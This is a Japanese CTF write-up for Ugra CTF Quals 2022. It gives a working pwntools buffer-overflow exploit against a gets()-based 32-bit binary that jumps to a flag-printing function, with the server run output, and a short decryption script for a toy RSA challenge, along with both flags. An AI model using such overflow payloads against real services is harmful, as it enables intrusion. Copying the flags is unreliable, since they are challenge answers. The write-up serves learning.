Ugra CTF Quals 2022 Writeup

この大会は2022/2/26 16:00(JST)~2022/3/1 16:00(JST)に開催されました。
今回もチームで参戦。結果は150点で103チーム中62位でした。
自分で解けた問題をWriteupとして書いておきます。

shout (PWN 75)

$ file shout
shout: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=d4a8f968fb8905e2f7bec3c422ed2712bb81b52f, for GNU/Linux 3.2.0, not stripped

Ghidraでデコンパイルする。

undefined4 main(void)

{
  shout();
  return 0;
}

void shout(void)

{
  char local_40c [1032];
  
  puts("Shout here: ");
  fflush(stdout);
  gets(local_40c);
  puts("Too weak, try again.");
  fflush(stdout);
  return;
}

void print_flag(void)

{
  char local_50 [64];
  FILE *local_10;
  
  local_10 = fopen("flag.txt","r");
  fread(local_50,1,0x3f,local_10);
  puts(local_50);
  fflush(stdout);
  return;
}

BOFでprint_flag関数をコールすればよい。

from pwn import *

token = '2e52f36f7b5173180aa873bb'

if len(sys.argv) == 1:
    p = remote('shout.q.2022.ugractf.ru', 4141)
    data = p.recvuntil(': ')
    print data + token
    p.sendline(token)
else:
    p = process('./shout')

elf = ELF('./shout', checksec=False)

ret_addr = 0x0804900e
print_flag_addr = elf.symbols['print_flag']

payload = 'A' * 1036
payload += p32(print_flag_addr)

data = p.recvline().rstrip()
print data
print payload
p.sendline(payload)
data = p.recvline().rstrip()
print data
data = p.recvline().rstrip()
print data

実行結果は以下の通り。

[+] Opening connection to shout.q.2022.ugractf.ru on port 4141: Done
Your token: 2e52f36f7b5173180aa873bb
Shout here:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Too weak, try again.
ugra_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_ed088cbb8dcd4c55 AAAAAAAAA�17#AAAAAAAAAAAA
[*] Closed connection to shout.q.2022.ugractf.ru port 4141
ugra_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_ed088cbb8dcd4c55

asciirsa (Crypto 75)

暗号処理は以下の通り。

・flagの各文字について以下を実行
 ・char_code: ASCIIコード * 2 - 1
 ・pow(char_code, 17, 256)

つまり、以下のような式になる。

e = 17
n = 256 = 2**8
phi = 2**7
d = inverse(e, phi)

あとはこのまま復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('rsa.enc', 'rb') as f:
    enc = f.read()

modulo = 256
public_key = 17
phi = 2**7
d = inverse(public_key, phi)

flag = ''
for c in enc:
    char_code = pow(c, d, modulo)
    flag += chr((char_code + 1) // 2)
print(flag)
ugra_dont_roll_asciirsa_crypto_b69640d5641a2e26